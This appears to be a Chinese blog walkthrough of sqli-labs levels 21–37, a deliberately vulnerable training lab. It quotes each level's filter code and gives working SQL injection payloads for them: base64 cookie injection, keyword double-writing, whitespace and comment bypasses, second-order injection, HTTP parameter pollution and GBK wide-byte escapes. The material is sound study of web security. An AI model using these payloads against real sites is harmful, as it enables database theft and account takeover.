sqli-labs通关手册(page-2 part)
sqli-labs通关手册(page-2 part)
Less - 21 Cookie injection - base64 encoded-single quotes and parenthesis(基于错误的单引号括号cookie的base64编码注入)
使用上诉的语句注入,爆出以下错误
可以发现,红框处是一段乱码后跟了sql'语句,所以这里我们可以猜测源代码对输入字符串进行了编码。
这里如何是黑盒的话,可以每一种编码挨个去试一试,但是这里我就不在模拟这个过程了,我就当白盒直接看源代码了。
$cookee = base64_decode($cookee);
发现确实存在decode语句
构造注入语句
uname=admin') and extractvalue(1,concat(0x7e,(select database()),0x7e))#
//奇了怪了,用#号能闭合成功,用--+就不行了,不知道咋回事,后面再研究研究
uname=admin') and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
但对uname值的部分进行base64编码,也就是如下的形式
uname=YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSk
如何进行base64编码?
用hackbar或者burp suite的decode模块就可以
用hackbar的话,点这里
Less - 22 Cookie Injection - base64 encoded - double quotes(基于错误的双引号cookie的base64编码注入)
跟less21类似,单变双括号即可
uname=admin'' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
记得base64加密
Less - 23 GET - Error based - strip comments(基于错误的过滤注释GET型注入)
白盒注入
看看源码,过滤规则
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
显然该部分的意思是会对语句中的"#"和"--"符号进行替换为空。
引用规则
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
所以不能再用“--”或“#”来闭包语句了所以这里我们可以使用'
进行后闭包。
构造这种形式的注入语句
?id=1' union select 1,2,3 and '1'='1
那么就会构成如下sql语句
select * form users where id = 1' union select 1,2,3 and '1'='1' limit 0,1
成功实现绕过
所以这个题目是有显回的,那么后面就好办得很了。
Less - 24 POST - Second Oder Injections *Real treat*
Stored Injections(二次注入)
username=admin&password=1&re_password=1&submit=Register
username=admin&password=1' union select 1,2,3 #&re_password=1&submit=Register
本题目的环境比较仿真,登陆login界,修改密码界面和登陆成功界面一应俱全。
进行黑盒注入的话,光是找到注入点就比较麻烦了,由于是学习交流,所以本例采用白盒注入,也就是在知道源代码的情况下进行学习。
-
综合审查
在这几个源代码文件中,出现最多的函数便是session_start(),查阅PHP手册
session_start()会创建新会话或者重用现有会话。如果通过GET或POST方式,或者使用cookie提交了会话ID,则会重用现有会话。
session_start()作用是开启$_session,需要在$_session使用之前调用,而该变量用于存储关于用户会话的信息。
-
login.php
可以看到username和password变量都对特殊字符进行了转义,也就是mysql_real_escape_string()函数。本来是可以绕过的,但这并不是本题目的目的,这里我们就算它不可绕过,我们接着看
-
new_user.php
这是一个样式源代码
-
login_create.php
在创建新用户中,真正起到作用的实际上是这个源代码文件
显然,在该源代码文件中,会对创建的新用户,用户名,密码和重复输入密码进行转义后再存储到数据库中。而且原来的数据库中有相同的用户会提示并取消新建操作。
-
pass_change.php
该页面是在成功登录后显示,可以修改账户密码。
在此处对username变量的提取中可以看到,是直接从$_SEESION中获得,不在进行转义,也就是说我们苦苦追寻的注入点终于找到了。
那么怎么利用该注入点,那就要运用到该update语句
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
在该语句中,用到的是直接从session中获取的变量,那如果当前用户名中含有注释,便可修改注释前的那个用户名的密码,而不用输入它原来的密码。例如注册用户是dumb --+
,那么就可以修改dumb的密码。
Less - 25 GET - Error based - All your OR & AND belong to us - string single quote(过滤了or和and的基于错误的单引号注入)
-
输入任意id和带有and的语句
显然,and被吃掉了,那么我们怎样使用我们的and注入语句呢
解决办法:双写绕过和&&和||绕过
解决办法是对被注释语句进行双写绕过,如and
可以写为anandd
可以看到成功绕过,其余过程跟基于报错注入一样。
Less -25a GET - Blind based - All your OR & AND belong to us - Intiger based(过滤了and和or的基于盲注)
对于这种种类的过滤规则,可能在练习中我们已经知道过滤规则的情况下看起来很简单,但是在实战中,对于这种种类的盲注,我们是很难判断它的规则的。还需要深入学习。
在知晓其过滤类型的情况下,其解决办法就比较多了,比如联合注入,布尔,延时都可以。并使用双写或者&&或||绕过
Less - 26 GET - Error based - All your SPACES and COMMENTS belong to us(过滤了空格和注入的基于错误的注入)
-
查看源代码,查看其过滤规则
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
过滤了or
,and
,/*
,--
,#
,空格
,斜线
绕空格
如果没有过滤/*
是可以用/**/
来过滤的,但是这里过滤了,所以这里有两个解决方案
-
第一就是特殊字符绕过,但是这是环境是linux的情况下使用的,由于Windows下无法使用一些特殊字符来替换空格
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
-
第二个就是使用括号来绕过空格,在需要使用到的地方的后部分用括号括起来。
如
select database() from users where 1=1 and 2=2
加上括号就是
select(database())from users where(1=1)and(2=2)
但这个括号包的一般都是函数或者是数字型bool值
绕注释
-
%00截断
用%00替代注释符号
-
单引号闭合
and ‘1’=‘1
最终注入语句
?id=1'anandd(updatexml(1,concat(0x7e,database(),0x7e),1));%00
?id=-1'anandd(updatexml(1,concat(0x7e,database(),0x7e),1))anandd'1'='1
Less - 26a Blind Based - ALL your SPACES and COMMENTS belong to us - String - single quotes - Parenthesis(过滤了空格和注释基于盲注的单引号括号注入)
基于盲注,使用')
,其余跟上面那个类似。但是这里延时会好一点,因为都是函数,可以用括号括
?id=1'anandd(if((database()<10),sleep(15),1));%00
Less - 27 Error Based - All your UNION & SELECT Belong to us - String -Single quotes(过滤了select和union的基于错误的单引号注入)
过滤规则
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
绕过可用大小写,空格在linux的靶机环境下用特殊字符替代。
Less - 27a Blind Based - All your UNION & SELECT Belong to us -Double quotes(过滤了union和select的基于盲注的双引号注入)
这里他把报错关了,语句由上一关的单引号,变成了无单引号,经过测试,可以通过双引号进行闭合。
Less - 28 GET - Error Based - All your UNION & SELECT Belong to us - String - Single quote with parenthesis(过滤了union和select的基于错误的单引号括号注入)
下面这句就可以绕过
?id=1')uniounionn%0aselect%0a1,2,3;%00
Less - 28a GET - Blind Based - All your UNION & SELECT Belong to us - String - Single quote - parenthesis(过滤了union和select的基于盲注的单引号括号型注入)
盲注类型的28,就不再详细进行注入了
Less - 29 GET - Error based - IMPIDENCE MISMATCH - Having a WAF in front of web application(基于错误的参数不匹配绕过waf的注入)
它的标题挺有意思的,它说该page有世界上最好的防火墙。
本题目需要用到http参数污染漏洞,其介绍可以参考博客随笔中的宁一篇文章或如下这篇文章sql注入之HTTP参数污染 - 三木森林 - 博客园 (cnblogs.com)
而在本题中waf服务器(tomcat)只解析重复参数里的前者,而真正的web服务器(Apache)只解析重复参数里的后者,所以这里我们可以传入两个参数,前面的参数合法,而后面的参数传入我们想要注入的内容。
如图所示
构造本题目注入语句
?id=1&id=-1' union select 1,database(),3 --+
成功完成注入
Less - 30 GET - BLIND - IMPIDENCE MISMATCH - Having a WAF in front of web application(基于盲注的参数不匹配绕过WAF的注入)
盲注,因为是有回显的可以跟上面用同样的方法,只不过换成的双引号
如果没有回显位的话,可以考虑延时或bool型注入
Less - 31 GET - Blind - IMPIDENCE MISMATCH - Having a WAF in front of web application(基于盲注的参数不匹配绕过WAF的双引号括号型注入)
跟上面一样,只不过双引号又加上了括号")
Less - 32 GET - Bypass custom filter adding slashes to dangerous chars(绕过转义符的GET型注入)
其防御函数check_addslashes,也就是对某些页数字符加上反斜线。
所以此时可以考虑使用宽字节注入,关于宽字节注入可以见我的这篇博客sql注入之宽字节注入 - 三木森林 - 博客园 (cnblogs.com)
注入使用宽字节也是有条件的,mysql的编码需要设置为SET NAMES 'gbk'或是SET character_set_client = gbk
绕过转义反斜线,我们可以构造如下注入语句
http://192.168.235.130/sqli/Less-32/?id=-1%df' union select 1,2,3 --+
得到结果,成功绕过
Less - 33 GET - Bypass AddSlashes()(绕过转义字符的GET型注入)
本题中的过滤规则稍作了改变,变为了php的库函数addslashes(),也会在预定字符前添加反斜线。
但是其数据库编码规则是gbk,所以我们仍可以利用宽字节注入。
http://192.168.235.130/sqli/Less-33/?id=-1%df' union select 1,2,3 --+
Less - 34 Post - Bypass AddSlashes()(绕过转义字符的POST型注入)
本题的过滤规则和less-33几乎是一样的,但是是使用post提交的信息,那就会跟上一题有点区别了。
而post提交的数据是会被再次编码的。如果不指定编码方式,默认是以application/x-www-form-urlencoded 方式提交数据,如下content-type位置所示
如果,content-type被指定为application/x-www-form-urlencoded的话,其提交的数据按照key1=val1&key2=val2的方式进行编码,而key和val都进行了url转码。在有些时候,如果我们用ajax提交数据也是这种方式。
所以在这里我们可以看到如果提交的是%df
那么经过url编码后会变成%25df
所以这里我们得用burp suite抓包后直接修改uname处即可
成功注入
Less - 35 GET - Bypass Add Slashes(we dont need them) Integer based(绕过转义字符的数字型注入)
因为是数字型注入,不需要引号,虽然有过滤,但是直接输入注入语句即可。
Less - 36 GET - Bypass MySQL_real_escape_string(绕过转义字符的GET型注入)
使用的过滤函数是mysql_real_escape_string函数,该过滤函数会对如下几个特殊字符转义
-
\x00
-
\n
-
\r
-
\
-
'
-
"
-
\x1a
因为同样使用了gbk编码,所以还是可以用宽字节注入
Less - 37 POST - MySQL_real_escape_string(绕过转义字符的POST型注入)
跟less34一样。